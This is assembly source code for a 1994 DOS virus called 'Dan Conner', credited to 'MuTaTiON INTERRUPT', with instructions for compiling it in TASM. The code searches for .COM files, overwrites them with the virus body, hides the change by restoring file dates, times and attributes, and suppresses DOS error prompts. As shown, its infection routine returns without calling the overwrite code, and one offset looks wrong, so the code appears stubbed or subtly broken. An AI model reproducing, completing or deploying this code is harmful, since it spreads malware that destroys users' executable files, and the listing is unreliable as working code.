;  Dan Conner written by MuTaTiON INTERRUPT
;  To compile this use TASM /M dan.asm
;---------


code    segment public 'code'
        assume  cs:code
        org     100h                              ; All .COM files start here

start:
        db 0e9h,0,0                               ; Jump to the next command

virus:
        mov     ax,3524h                          ; Get int 24 handler
        int     21h                               ; To ES:BX
        mov     word ptr [oldint24],bx            ; Save it
        mov     word ptr [oldint24+2],es

        mov     ah,25h                            ; Set new int 24 handler
        mov     dx,offset int24                   ; DS:DX->new handler
        int     21h

        push    cs                                ; Restore ES
        pop     es                                ; 'cuz it was changed

        mov     dx,offset comfilespec
        call    findfirst

        mov     ah,9                              ; Display string
        mov     dx,offset virusname
        int     21h

        mov     ax,2524h                          ; Restore int 24 handler
        mov     dx,offset oldint24                ; To original
        int     21h

        push    cs
        pop     ds                                ; Do this because the DS gets changed

        int    20h                                ; quit program

findfirst:
        mov     ah,4eh                            ; Find first file
        mov     cx,7                              ; Find all attributes

findnext:
        int     21h                               ; Find first/next file int
        jc      quit                              ; If none found then change dir

        call    infection                         ; Infect that file

        mov     ah,4fh                            ; Find next file
        jmp     findnext                          ; Jump to the loop

quit:
        ret

infection:
quitinfect:
        ret

FinishInfection:
        xor     cx,cx                             ; Set attriutes to none
        call    attributes

        mov     al,2                              ; open file read/write
        call    open

        mov     ah,40h                            ; Write virus to file
        mov     cx,eof-virus                      ; Size of virus
        mov     dx,100
        int     21h

closefile:
        mov     ax,5701h                          ; Set files date/time back
        push    bx
        mov     cx,word ptr [bx]+16h              ; Get old time from dta
        mov     dx,word ptr [bx]+18h              ; Get old date
        pop     bx
        int     21h

        mov     ah,3eh                            ; Close file
        int     21h

        xor     cx,cx
        mov     bx,80h
        mov     cl,byte ptr [bx]+15h              ; Get old Attributes
        call    attributes

        retn

open:
        mov     ah,3dh                            ; open file
        mov     dx,80h+30
        int     21h
        xchg    ax,bx                             ; file handle in bx
        ret

attributes:
        mov     ax,4301h                          ; Set attributes to cx
        mov     dx,80h+30
        int     21h
        ret
int24:                                            ; New int 24h (error) handler
        mov     al,3                              ; Fail call
        iret                                      ; Return from int 24 call

Virusname db 'Dan Conner - Anything You Say Dear...',10,13
Author    db 'MuTaTiON INTERRUPT',10,13           ; Author Of This Virus
Made_with db '[NOVEMBER 1994]',10,13              ; Please do not remove this
          db 'Hey: I LOVE ROSEANNE!','$'

comfilespec  db  '*.com',0                        ; Holds type of file to look for

eof     equ     $                                 ; Marks the end of file

oldint24 dd ?                                     ; Storage for old int 24h handler

code    ends
        end     start